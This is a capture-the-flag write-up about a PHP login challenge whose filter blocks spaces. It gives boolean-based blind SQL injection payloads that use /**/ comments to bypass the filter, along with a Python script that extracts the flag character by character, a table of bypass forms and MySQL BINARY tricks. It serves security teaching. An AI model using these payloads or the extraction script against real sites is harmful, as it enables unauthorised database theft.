Базовая авторизация 2 (Basic Auth 2)
Базовая авторизация 2 (Basic Auth 2)
Platform: CUSTOM | Category: Web | Type: Challenge | Difficulty: Medium | OS: N/A | Author: XESXOR Techniques: Boolean-based blind SQL injection, Character-by-character extraction with substring(), MySQL case-sensitivity awareness (BINARY keyword), WAF bypass using SQL comments //
Summary
Walkthrough of the CUSTOM Web Базовая авторизация 2 (Basic Auth 2). Task: PHP login form with WAF filtering spaces in SQL queries. Solution: WAF bypass using SQL comments /**/ for boolean-based blind SQLi, character-by-character flag extraction with BINARY keyword for
Description
Я решил переделать свой прошлый проект и переписал его на PHP, а также добавил защитные фильтры. Держи тестовые креды: login=test, password=test.
URL: http://62.173.140.174:16015/
Analysis
-
Application review: PHP application with a login form that sends data to
/user.phpvia GET method -
Test credentials: Testing with
test:testworks, shows "User ID: 1" -
SQL query in comments: Found a comment in the HTML source:
html read-only • copy allowed<!--SELECT * FROM users WHERE login='test'-->
-
WAF detection: Basic SQL injections are blocked - WAF filters requests with spaces between SQL keywords
-
WAF bypass: SQL comments
/**/successfully replace spaces:'/**/or/**/'1'='1
Solution
Step 1: Confirming SQL Injection
login='/**/or/**/'1'='1&password=test
Result: User ID is returned - injection works!
Step 2: Database Structure Reconnaissance
Boolean-based blind SQLi to determine structure:
python read-only • copy allowed# Check if flags table exists '/**/or/**/(select/**/count(*)/**/from/**/flags)>0/**/--
Step 3: Determining Flag Length
python read-only • copy allowed'/**/or/**/(select/**/length(flag)/**/from/**/flags/**/limit/**/1)=29/**/--
Flag length: 29 characters
Step 4: Character-by-Character Flag Extraction
python read-only • copy allowed#!/usr/bin/env python3 import requests url = "http://62.173.140.174:16015/user.php" flag = "" charset = "CODEBY{}abcdefghijklmnopqrstuvwxyz0123456789_" for pos in range(1, 30): for char in charset: payload = f"'/**/or/**/substring((select/**/flag/**/from/**/flags/**/limit/**/1),{pos},1)='{char}" params = {"login": payload, "password": "test"} r = requests.get(url, params=params) if "User ID" in r.text: flag += char print(f"[+] Position {pos}: {char} -> {flag}") break print(f"\n[*] Flag: {flag}")
Important Lesson: Case-Sensitivity in MySQL
Problem: When extracting characters, both 'A' and 'a' gave positive results!
Reason: MySQL performs case-insensitive string comparison by default.
Solution: Use the BINARY keyword for case-sensitive comparison:
sql read-only • copy allowedbinary/**/substring((select/**/flag/**/from/**/flags/**/limit/**/1),POS,1)='a'
The correct flag uses lowercase letters inside the curly braces.
WAF Bypass Techniques
| Blocked | Bypass |
|---|---|
' or '1'='1 | '/**/or/**/'1'='1 |
SELECT * FROM | SELECT/**/*/**/FROM |
UNION SELECT | UNION/**/SELECT |
substring( | substring/**/( or mid( |
| |
MySQL Case-Sensitivity
sql read-only • copy allowed-- Case-insensitive (default) SELECT * FROM t WHERE col = 'ABC'; -- finds 'abc', 'ABC', 'Abc' -- Case-sensitive SELECT * FROM t WHERE BINARY col = 'ABC'; -- only 'ABC' -- Alternative: comparison via ASCII SELECT * FROM t WHERE ASCII(SUBSTRING(col,1,1)) = 65; -- only 'A' (code 65)
Conclusions
- WAF bypass: SQL comments
/**/- classic method to bypass space filters - Boolean-based SQLi: When there's no error output, use response differences
- MySQL collation: Always consider case-sensitivity when extracting data
- BINARY keyword: Required for exact character comparison in MySQL
Key Takeaways / Lessons
- Mastering Boolean-based blind SQL injection, Character-by-character extraction with substring(), MySQL case-sensitivity awareness (BINARY keyword), WAF bypass using SQL comments /**/ was key to this challenge.
- Always check for common misconfigurations and verify assumptions.
Crafted by XESXOR Research • 2026-01-03 • CUSTOM • Базовая авторизация 2 (Basic Auth 2) • Difficulty: Medium